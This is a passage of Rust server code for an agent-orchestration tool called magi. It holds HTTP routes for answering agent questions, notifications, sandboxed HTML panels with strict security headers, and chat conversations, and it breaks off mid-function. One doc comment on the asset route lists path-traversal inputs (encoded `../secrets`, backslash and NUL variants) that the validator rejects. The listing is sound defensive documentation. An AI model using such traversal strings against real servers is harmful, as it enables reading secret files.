6199/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6200/// separate, sandboxed document, but `detail` is rendered inline in the
6201/// operator's own page, so an image reference in it may only ever point at
6202/// files magi itself already serves for this question.
6203#[derive(Debug, Serialize)]
6204struct QuestionView {
6205    #[serde(flatten)]
6206    question: Question,
6207    detail_md: Vec<md::Node>,
6208    /// Each thread turn's body, parsed; same order as `question.thread`.
6209    thread_bodies_md: Vec<Vec<md::Node>>,
6210    /// Each thread turn's deputy note, parsed (`None` for a turn without
6211    /// one); same order as `question.thread`.
6212    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6213    /// Is the ball in the agent's court right now?
6214    ///
6215    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6216    /// [`Question::say`] - so this is the one field that tells the phone to
6217    /// disable the answer controls and show "waiting for the agent" instead of
6218    /// a card the owner can act on. Computed rather than stored on
6219    /// [`Question`] itself, on the same reasoning as `waiting` on
6220    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6221    /// it here means the client never has to re-derive that rule.
6222    waiting_on_agent: bool,
6223    /// Who is waiting on this open question - see [`holder_of`]. Separate
6224    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6225    /// anyone is there to take it.
6226    holder: Option<&'static str>,
6227    /// Whether `magi serve` can start a follow-up agent for a conductor
6228    /// question at all: false when `daemon.max_deputies = 0` or the config is
6229    /// unreadable. Separate from `holder`, which says who is listening now.
6230    deputies_enabled: bool,
6231    /// `question.run` is a task id (conductor / triage questions), not a run
6232    /// id, so the UI links it to the task page.
6233    run_is_task: bool,
6234    /// The chat conversation this question's task came from, when the owner
6235    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
6236    /// UI offers "Ask the chat agent" only when this is set; it is never one
6237    /// of `question.choices`.
6238    origin_chat: Option<String>,
6239    /// `origin_chat` is closed; consulting reopens it first.
6240    origin_chat_closed: bool,
6241}
6242
6243impl QuestionView {
6244    /// The view of `question`, reading who is waiting on it from `store`.
6245    ///
6246    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6247    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6248        let base = md::ImageBase::QuestionPanel {
6249            id: question.id.clone(),
6250        };
6251        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6252        Self {
6253            detail_md: md::to_nodes(&question.detail, &base),
6254            thread_bodies_md: question
6255                .thread
6256                .iter()
6257                .map(|t| md::to_nodes(&t.body, &base))
6258                .collect(),
6259            thread_notes_md: question
6260                .thread
6261                .iter()
6262                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6263                .collect(),
6264            waiting_on_agent: question.waiting_on_agent(),
6265            holder,
6266            deputies_enabled,
6267            run_is_task: question.run_names_task(),
6268            origin_chat: None,
6269            origin_chat_closed: false,
6270            question,
6271        }
6272    }
6273
6274    /// Fill `origin_chat` from the queue and the talks.
6275    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6276        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
6277        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6278        self.origin_chat = talk.map(|t| t.id);
6279        self
6280    }
6281}
6282
6283/// The config this repository resolves, or `None` when it cannot be read.
6284/// Discovering is git processes plus a config render, so a request that needs
6285/// it for many items takes it once and passes it down.
6286fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6287    Config::discover(repo, None).ok().map(|(c, _)| c)
6288}
6289
6290/// Can `magi serve` start a deputy for this question under `cfg`?
6291fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6292    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6293}
6294
6295/// The views `GET /api/questions` answers. `load` runs at most once, however
6296/// many questions there are, and not at all when there are none.
6297fn question_views(
6298    qs: Vec<Question>,
6299    store: &ask::Questions,
6300    load: impl FnOnce() -> Option<Config>,
6301) -> Vec<QuestionView> {
6302    if qs.is_empty() {
6303        return Vec::new();
6304    }
6305    let cfg = load();
6306    qs.into_iter()
6307        .map(|q| {
6308            let on = deputies_enabled(cfg.as_ref(), &q);
6309            QuestionView::of(q, store, on)
6310        })
6311        .collect()
6312}
6313
6314/// Who is honestly waiting on an open question right now: `"asker"` (the
6315/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6316/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6317/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6318/// up, or the question never had anyone listening (a conductor question or a
6319/// merge approval from before deputies, or not yet given one).
6320///
6321/// `None` for a question that is settled, and for one that is not an agent's
6322/// to wait on at all (a release notice).
6323fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6324    if !q.status.open() {
6325        return None;
6326    }
6327    if q.cwd.is_none() && q.deputy.is_none() {
6328        return crate::deputy::kind_of(q).map(|_| "nobody");
6329    }
6330    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6331        Some(_) if q.deputy.is_some() => "deputy",
6332        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6333        Some(_) => "asker",
6334        None => "nobody",
6335    })
6336}
6337
6338/// `GET /api/questions`.
6339///
6340/// Everything, not just the open ones: an answered question is the record of a
6341/// decision, and the phone is where the operator goes back to check what they
6342/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6343async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6344    blocking(move || {
6345        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6346        Ok(Json(
6347            question_views(ui.questions.list(), &ui.questions, || {
6348                deputy_config(&ui.repo)
6349            })
6350            .into_iter()
6351            .map(|v| v.with_origin(&tasks, &talks))
6352            .collect(),
6353        ))
6354    })
6355    .await
6356}
6357
6358/// `GET /api/notifications`: not dismissed, newest first, with the unread
6359/// count so the badge and the list cannot disagree.
6360async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6361    blocking(move || {
6362        let items = ui.notices.list();
6363        let unread = items.iter().filter(|n| n.unread()).count();
6364        Ok(Json(
6365            serde_json::json!({ "unread": unread, "items": items }),
6366        ))
6367    })
6368    .await
6369}
6370
6371fn notice_error(e: anyhow::Error) -> ApiError {
6372    // An unknown or malformed id and a vanished file are the same answer to
6373    // the phone: that notification is gone.
6374    ApiError::not_found(format!("{e:#}"))
6375}
6376
6377/// `POST /api/notifications/{id}/read`.
6378async fn notification_read(
6379    State(ui): State<Arc<Ui>>,
6380    Path(id): Path<String>,
6381) -> ApiResult<Json<Notice>> {
6382    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6383}
6384
6385/// `POST /api/notifications/{id}/dismiss`.
6386async fn notification_dismiss(
6387    State(ui): State<Arc<Ui>>,
6388    Path(id): Path<String>,
6389) -> ApiResult<Json<Notice>> {
6390    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6391}
6392
6393/// `POST /api/notifications/read-all`.
6394async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6395    blocking(move || {
6396        let changed = ui.notices.mark_all_read()?;
6397        Ok(Json(serde_json::json!({ "marked": changed })))
6398    })
6399    .await
6400}
6401
6402/// The body of `POST /api/questions/{id}/answer`.
6403///
6404/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6405/// a bad request rather than a guess: an answer magi invented is worse than a
6406/// question left open.
6407#[derive(Debug, Default, Deserialize)]
6408#[serde(default, deny_unknown_fields)]
6409struct NewAnswer {
6410    choice: Option<String>,
6411    text: Option<String>,
6412}
6413
6414async fn question_answer(
6415    State(ui): State<Arc<Ui>>,
6416    Path(id): Path<String>,
6417    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6418) -> ApiResult<Json<QuestionView>> {
6419    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6420    let answer = match (body.choice, body.text) {
6421        (Some(c), None) => Answer::Choice(c),
6422        (None, Some(t)) => Answer::Text(t),
6423        (Some(_), Some(_)) => {
6424            return Err(ApiError::bad_request(
6425                "send either `choice` or `text`, not both",
6426            ));
6427        }
6428        (None, None) => {
6429            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6430        }
6431    };
6432
6433    blocking(move || {
6434        let id = resolve_question(&ui.questions, &id)?;
6435        let q = ui
6436            .questions
6437            .get(&id)
6438            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6439        if !q.status.open() {
6440            // Answered from the terminal, or by another phone, in between the
6441            // list and the tap. The UI shows the recorded answer rather than an
6442            // error, so it needs the record, not just the status.
6443            return Err(ApiError::conflict(format!(
6444                "question {} is already {}",
6445                q.short(),
6446                q.status.as_str()
6447            )));
6448        }
6449        // `Question::answer` owns the rules - an unoffered choice, free text on
6450        // a multiple-choice question, an empty reply - so the route does not
6451        // restate them and cannot drift from the CLI's behaviour.
6452        let (q, ()) = ui
6453            .questions
6454            .update(&q.id, |r| r.answer(answer))
6455            .map_err(ApiError::bad_request_from)?;
6456        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6457        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6458        Ok(Json(
6459            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6460        ))
6461    })
6462    .await
6463}
6464
6465/// The body of `POST /api/questions/{id}/say`.
6466#[derive(Debug, Deserialize)]
6467#[serde(deny_unknown_fields)]
6468struct NewSay {
6469    body: String,
6470}
6471
6472/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6473///
6474/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6475/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6476/// file, so there is no turn to serialize against and no
6477/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6478/// is a *different* process - the run parked behind `magi ask` - and picks
6479/// the reply up on its own poll of the very same file, same as an answer
6480/// does.
6481async fn question_say(
6482    State(ui): State<Arc<Ui>>,
6483    Path(id): Path<String>,
6484    body: std::result::Result<Json<NewSay>, JsonRejection>,
6485) -> ApiResult<Json<QuestionView>> {
6486    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6487    blocking(move || {
6488        let id = resolve_question(&ui.questions, &id)?;
6489        let q = ui
6490            .questions
6491            .get(&id)
6492            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6493        if !q.status.open() {
6494            // Same granularity as `question_answer`: answered or abandoned in
6495            // between the list and the tap is not this route's error to
6496            // explain any differently.
6497            return Err(ApiError::conflict(format!(
6498                "question {} is already {}",
6499                q.short(),
6500                q.status.as_str()
6501            )));
6502        }
6503        // `Question::say` owns the one rule that matters here - an empty
6504        // message tells the agent nothing - so the route does not restate it.
6505        let (q, ()) = ui
6506            .questions
6507            .update(&q.id, |r| r.say(body.body))
6508            .map_err(ApiError::bad_request_from)?;
6509        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6510        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6511        Ok(Json(
6512            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6513        ))
6514    })
6515    .await
6516}
6517
6518/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6519/// came from. The question stays open: the chat agent answers it with `magi
6520/// answer`, or puts the decision to the owner in the conversation.
6521///
6522/// Answers 202 and runs the turn in the background, like every route that
6523/// spends agent calls. The text is queued as a draft of the existing talk, and
6524/// the turn goes through the talk's own gate and session; no seat or waiter is
6525/// started here.
6526async fn question_consult(
6527    State(ui): State<Arc<Ui>>,
6528    Path(id): Path<String>,
6529) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6530    let (view, reclaimed) = blocking({
6531        let ui = Arc::clone(&ui);
6532        move || {
6533            let id = resolve_question(&ui.questions, &id)?;
6534            let q = ui
6535                .questions
6536                .get(&id)
6537                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6538            if !q.status.open() {
6539                return Err(ApiError::conflict(format!(
6540                    "question {} is already {}",
6541                    q.short(),
6542                    q.status.as_str()
6543                )));
6544            }
6545            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6546            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6547                return Err(ApiError::conflict(format!(
6548                    "question {} has no chat to ask",
6549                    q.short()
6550                )));
6551            };
6552            // Read the config before `begin` saves anything: a failure here
6553            // must leave no consult record or draft behind, or a retry would
6554            // see `fresh == false` and never start the turn.
6555            let cfg = if q.consult.is_none() {
6556                Some(Config::discover(&talk.repo, None)?.0)
6557            } else {
6558                None
6559            };
6560            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6561            let claim = if fresh {
6562                match ui.begin_queued_talk_turn(&talk.id)? {
6563                    Some(turn_guard) => {
6564                        let talk = ui.talks.get(&talk.id)?;
6565                        let cfg = match cfg {
6566                            Some(cfg) => cfg,
6567                            None => Config::discover(&talk.repo, None)?.0,
6568                        };
6569                        Some((talk, cfg, turn_guard))
6570                    }
6571                    None => None,
6572                }
6573            } else {
6574                None
6575            };
6576            let q = ui.questions.get(&q.id)?;
6577            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6578            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6579            Ok((view, claim))
6580        }
6581    })
6582    .await?;
6583    if let Some((talk, cfg, turn_guard)) = reclaimed {
6584        let talks = ui.talks.clone();
6585        let id = talk.id.clone();
6586        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6587    }
6588    Ok((StatusCode::ACCEPTED, Json(view)))
6589}
6590
6591/// Expand an id or short id to exactly one question id.
6592fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6593    if store.path_of(id).is_file() {
6594        return Ok(id.to_owned());
6595    }
6596    pick(
6597        store.list().into_iter().map(|q| q.id).collect(),
6598        id,
6599        "question",
6600    )
6601}
6602
6603/// `GET /api/questions/{id}/panel`.
6604///
6605/// The panel an agent wrote for this question, as `text/html` under
6606/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6607/// A question without one is a 404 rather than an empty page: the client
6608/// preflights this route with `HEAD` and must be able to tell "no panel" from
6609/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6610/// parent document so it cannot tell the difference by looking.
6611///
6612/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6613/// sanitises or minifies it - a sanitiser is a list of things someone thought
6614/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6615/// is the direction that stays safe when an agent writes markup nobody
6616/// predicted.
6617async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6618    blocking(move || {
6619        let id = resolve_question(&ui.questions, &id)?;
6620        let Some(html) = ui.questions.panel_html(&id) else {
6621            return Err(ApiError::not_found(format!("question {id} has no panel")));
6622        };
6623        Ok(panel_response(
6624            "text/html; charset=utf-8",
6625            false,
6626            html.into_bytes(),
6627        ))
6628    })
6629    .await
6630}
6631
6632/// `GET /api/questions/{id}/asset/{name}`.
6633///
6634/// One file from the question's own panel directory, so a panel can show a
6635/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6636/// having to allow anything off this machine.
6637///
6638/// This is the only route in the server where a client names a file, so it is
6639/// the only one with a traversal surface, and the name is checked by
6640/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6641/// what is worth being explicit about, because the answer is not "all of it in
6642/// one place":
6643///
6644/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6645///   the raw request path and `{name}` spans exactly one segment, so a real
6646///   slash makes the request too long for the route and the router answers 404.
6647/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6648///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6649///   `..\secrets` respectively, which look like plain filenames to the router.
6650///   The validator refuses them here - both for the literal `..` and because
6651///   `/` and `\` are not in the permitted character set - and answers 400.
6652/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6653///   the platform's path API is not, and it is refused here for the same
6654///   reason: NUL is not a permitted character.
6655/// * [`Questions::panel_asset`] validates again on read, so the check is not
6656///   load-bearing in only one place. This route's own check exists so the
6657///   failure is a 400 that says which name was wrong, rather than a store error
6658///   the operator has to interpret.
6659async fn question_asset(
6660    State(ui): State<Arc<Ui>>,
6661    Path((id, name)): Path<(String, String)>,
6662) -> ApiResult<Response> {
6663    // Before any filesystem work and before any path is built: a name this
6664    // server will not serve should not become a `PathBuf` at all.
6665    if !crate::ask::valid_asset_name(&name) {
6666        return Err(ApiError::bad_request(format!(
6667            "`{name}` is not a usable asset name"
6668        )));
6669    }
6670    blocking(move || {
6671        let id = resolve_question(&ui.questions, &id)?;
6672        let asset = ui
6673            .questions
6674            .panel_asset(&id, &name)
6675            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6676        let Some(bytes) = asset else {
6677            return Err(ApiError::not_found(format!(
6678                "question {id} has no asset `{name}`"
6679            )));
6680        };
6681        Ok(panel_response(
6682            asset_content_type(&name),
6683            is_svg(&name),
6684            bytes,
6685        ))
6686    })
6687    .await
6688}
6689
6690/// Content type for a panel asset, from a closed whitelist.
6691///
6692/// A whitelist with an `application/octet-stream` fallback rather than a
6693/// guess, because the one answer that must never come out of here is
6694/// `text/html`. An agent that writes `notes.html` into its panel directory and
6695/// links it would otherwise get its own markup rendered at the top level of the
6696/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6697/// magi's origin - which is precisely the thing the panel design exists to
6698/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6699///
6700/// `nosniff` accompanies this on every response, so a browser cannot decide it
6701/// knows better than the type we sent.
6702fn asset_content_type(name: &str) -> &'static str {
6703    match extension(name).as_deref() {
6704        Some("png") => "image/png",
6705        Some("jpg" | "jpeg") => "image/jpeg",
6706        Some("gif") => "image/gif",
6707        Some("webp") => "image/webp",
6708        Some("svg") => "image/svg+xml",
6709        Some("css") => "text/css; charset=utf-8",
6710        Some("txt") => "text/plain; charset=utf-8",
6711        _ => "application/octet-stream",
6712    }
6713}
6714
6715/// Is this an SVG, and therefore a file that must never be opened at the top
6716/// level?
6717fn is_svg(name: &str) -> bool {
6718    extension(name).as_deref() == Some("svg")
6719}
6720
6721/// Lowercased extension, or `None` for a name without one.
6722fn extension(name: &str) -> Option<String> {
6723    name.rsplit_once('.')
6724        .map(|(_, ext)| ext.to_ascii_lowercase())
6725}
6726
6727/// Every panel response, with the four headers that make it safe and, for an
6728/// SVG, a fifth.
6729///
6730/// One function rather than a header list per handler, because a panel route
6731/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6732/// model gone, silently, on one of two routes. Adding a third panel route later
6733/// means calling this, and there is nowhere else to build a panel response.
6734///
6735/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6736/// as an `<img src>` inside the panel that script cannot run - but the asset
6737/// URL is also a plain URL an operator can be talked into opening in a tab,
6738/// where it is a document on magi's own origin. `Content-Disposition:
6739/// attachment` makes the browser download it instead of rendering it, which
6740/// closes that door without taking away the ability to draw a diff. Raster
6741/// images have no such execution surface and are left inline, so tapping a
6742/// screenshot still shows it.
6743fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6744    let mut res = (
6745        [
6746            (header::CONTENT_TYPE, content_type),
6747            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6748            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6749            (header::REFERRER_POLICY, "no-referrer"),
6750        ],
6751        body,
6752    )
6753        .into_response();
6754    if download {
6755        res.headers_mut().insert(
6756            header::CONTENT_DISPOSITION,
6757            HeaderValue::from_static("attachment"),
6758        );
6759    }
6760    res
6761}
6762
6763/// A talk as the phone reads it.
6764///
6765/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6766/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6767/// parses markdown itself - and the process-local `thinking` hint.
6768#[derive(Debug, Serialize)]
6769struct TalkView {
6770    #[serde(flatten)]
6771    talk: Talk,
6772    turn_bodies_md: Vec<Vec<md::Node>>,
6773    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6774    /// this server process.
6775    ///
6776    /// This is deliberately not durable: another server process cannot see
6777    /// it, and a restarted server must not claim an old turn is live. It is a
6778    /// progress hint rather than proof a reply landed; the transcript remains
6779    /// the source of truth for that.
6780    thinking: bool,
6781    /// Context-window usage, derived per request - see
6782    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6783    /// and each mutation) so the phone needs no extra call or polling.
6784    context: talk::ContextUsage,
6785    /// `[talk] operator_name`, when configured; the Chat labels the
6786    /// operator's turns with it.
6787    operator_name: Option<String>,
6788    /// The active persona's display name; `None` for the default voice.
6789    persona_name: Option<String>,
6790    /// URL of the avatar for the conversation's persona (the default voice
6791    /// included). Server-built; a configured `icon` never reaches the client.
6792    persona_avatar: String,
6793    /// Fixed operator avatar; display only and independent of repository config.
6794    operator_avatar: String,
6795}
6796
6797impl TalkView {
6798    /// Reads the talk's repository config itself; a config that cannot be
6799    /// read leaves the window unknown but never fails the conversation.
6800    fn new(talk: Talk, thinking: bool) -> Self {
6801        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6802        Self::with_config(talk, thinking, cfg.as_ref())
6803    }
6804
6805    /// As [`Self::new`], with the config already in hand (the list reads one
6806    /// per repository, not one per conversation).
6807    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6808        let context = talk::context_usage(&talk, cfg);
6809        let turn_bodies_md = talk
6810            .turns
6811            .iter()
6812            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6813            .collect();
6814        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6815        let persona_name = persona::find(specs, &talk.persona)
6816            .filter(|p| !p.is_default())
6817            .map(|p| p.name);
6818        let persona_avatar = avatar_url(
6819            &talk.id,
6820            &persona::find(specs, &talk.persona)
6821                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6822        );
6823        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6824        Self {
6825            turn_bodies_md,
6826            thinking,
6827            context,
6828            operator_name,
6829            persona_name,
6830            persona_avatar,
6831            operator_avatar: format!(
6832                "/avatars/operator.svg?v={}",
6833                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6834            ),
6835            talk,
6836        }
6837    }
6838}
6839
6840/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6841/// conversation has filed, so the phone can follow one from inside the
6842/// conversation that asked for it rather than hunting the Queue for a task id
6843/// it may not remember.
6844#[derive(Debug, Serialize)]
6845struct TalkDetailView {
6846    #[serde(flatten)]
6847    view: TalkView,
6848    tasks: Vec<TaskView>,
6849    /// The agents this talk's repository can switch to; empty when its
6850    /// configuration cannot be read, which must not fail the whole detail.
6851    roster: Vec<RosterEntry>,
6852    /// The personas the conversation can pick from. The built-ins are always
6853    /// listed, even when the repository's configuration cannot be read.
6854    personas: Vec<PersonaEntry>,
6855}
6856
6857/// One persona as the talk's persona selector shows it.
6858#[derive(Debug, Serialize)]
6859struct PersonaEntry {
6860    id: String,
6861    name: String,
6862    /// Avatar URL, see [`TalkView::persona_avatar`].
6863    avatar: String,
6864}
6865
6866/// One roster agent as the talk's agent selector shows it.
6867#[derive(Debug, Serialize)]
6868struct RosterEntry {
6869    id: String,
6870    kind: AgentKind,
6871    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6872    runnable: bool,
6873}
6874
6875/// `GET /api/talks`.
6876///
6877/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6878/// own order.
6879async fn talks_list(
6880    State(ui): State<Arc<Ui>>,
6881    Query(q): Query<ListQuery>,
6882) -> ApiResult<Json<Vec<TalkView>>> {
6883    blocking(move || {
6884        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6885        Ok(Json(
6886            ui.talks
6887                .list()
6888                .into_iter()
6889                .filter(|talk| q.contains(&talk.id))
6890                .map(|talk| {
6891                    let thinking = ui.is_thinking(&talk.id);
6892                    let cfg = configs
6893                        .entry(talk.repo.clone())
6894                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6895                    TalkView::with_config(talk, thinking, cfg.as_ref())
6896                })
6897                .collect(),
6898        ))
6899    })
6900    .await
6901}
6902
6903/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6904/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6905/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6906/// end still opens a talk against an older binary.
6907#[derive(Debug, Default, Deserialize)]
6908#[serde(default)]
6909struct NewTalk {
6910    agent: Option<String>,
6911    repo: Option<PathBuf>,
6912    /// Remembered choices from the browser. Soft: kept as raw JSON so a
6913    /// wrong type is dropped like a stale value instead of failing the request;
6914    /// each falls back to its default on its own (see [`talk::begin_with`]).
6915    preferred_agent: Option<serde_json::Value>,
6916    persona: Option<serde_json::Value>,
6917    implementers: Option<serde_json::Value>,
6918}
6919
6920/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6921/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6922async fn talk_post(
6923    State(ui): State<Arc<Ui>>,
6924    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6925) -> ApiResult<impl IntoResponse> {
6926    // An absent body, or an empty one, is the normal way to open a talk - see
6927    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6928    // rather than refused.
6929    let body = match body {
6930        Ok(Json(body)) => body,
6931        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6932        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6933    };
6934    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6935    let cfg = config_for(&repo).await?;
6936    let view = blocking(move || {
6937        let preferred = talk::Preferred {
6938            agent: body
6939                .preferred_agent
6940                .as_ref()
6941                .and_then(|v| v.as_str())
6942                .map(str::to_owned),
6943            persona: body
6944                .persona
6945                .as_ref()
6946                .and_then(|v| v.as_str())
6947                .map(str::to_owned),
6948            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6949        };
6950        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6951        let thinking = ui.is_thinking(&talk.id);
6952        Ok(TalkView::new(talk, thinking))
6953    })
6954    .await?;
6955    Ok((StatusCode::CREATED, Json(view)))
6956}
6957
6958/// `GET /api/talks/{id}`.
6959async fn talk_detail(
6960    State(ui): State<Arc<Ui>>,
6961    Path(id): Path<String>,
6962) -> ApiResult<Json<TalkDetailView>> {
6963    blocking(move || {
6964        let id = resolve_talk(&ui.talks, &id)?;
6965        let talk = ui.talks.get(&id)?;
6966        let thinking = ui.is_thinking(&talk.id);
6967        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6968            .into_iter()
6969            .map(TaskView::from)
6970            .collect();
6971        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6972        let roster = cfg
6973            .as_ref()
6974            .map(|cfg| {
6975                cfg.agents
6976                    .iter()
6977                    .map(|a| RosterEntry {
6978                        id: a.id.clone(),
6979                        kind: a.kind,
6980                        runnable: agent::installed(a),
6981                    })
6982                    .collect()
6983            })
6984            .unwrap_or_default();
6985        let specs = cfg
6986            .as_ref()
6987            .map(|cfg| cfg.talk.personas.clone())
6988            .unwrap_or_default();
6989        let personas = persona::catalog(&specs)
6990            .into_iter()
6991            .map(|p| PersonaEntry {
6992                avatar: avatar_url(&talk.id, &p),
6993                id: p.id,
6994                name: p.name,
6995            })
6996            .collect();
6997        Ok(Json(TalkDetailView {
6998            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6999            tasks,
7000            roster,
7001            personas,
7002        }))
7003    })
7004    .await
7005}
7006
7007/// The body of `POST /api/talks/{id}/say`.
7008///
7009/// `attachments` names ids `POST /api/talks/{id}/attachments` already
7010/// returned - never bytes of its own - so a turn with no images just omits
7011/// the field, which is what an older front end still does.
7012#[derive(Debug, Default, Deserialize)]
7013#[serde(default, deny_unknown_fields)]
7014struct NewTalkTurn {
7015    reply_to: Option<talk::ReplyTarget>,
7016    text: String,
7017    attachments: Vec<String>,
7018}
7019
7020#[derive(Debug, Deserialize)]
7021#[serde(deny_unknown_fields)]
7022struct EditTalkPending {
7023    #[serde(default)]
7024    message: Option<usize>,
7025    text: String,
7026    expected_text: String,
7027    expected_attachments: Vec<String>,
7028}
7029
7030#[derive(Debug, Deserialize)]
7031#[serde(deny_unknown_fields)]
7032struct ClearTalkPending {
7033    expected_text: String,
7034    expected_attachments: Vec<String>,
7035}
7036
7037/// `POST /api/talks/{id}/say` - one turn of the conversation.
7038///
7039/// Not filesystem work, and therefore not routed through [`blocking`]: this
7040/// route spawns an agent CLI and a turn here can run for the whole of
7041/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
7042/// research turn is expected to run commands rather than answer from what it
7043/// already knows. Holding an HTTP connection open that long is not a thing
7044/// to ask a phone to do; the operator's message is recorded and answered for
7045/// immediately, and the reply lands in the background, discovered through
7046/// the change stream's `talks_rev` the same way every other update on this
7047/// surface is.
7048async fn talk_say(
7049    State(ui): State<Arc<Ui>>,
7050    Path(id): Path<String>,
7051    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7052) -> ApiResult<(StatusCode, Json<TalkView>)> {
7053    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
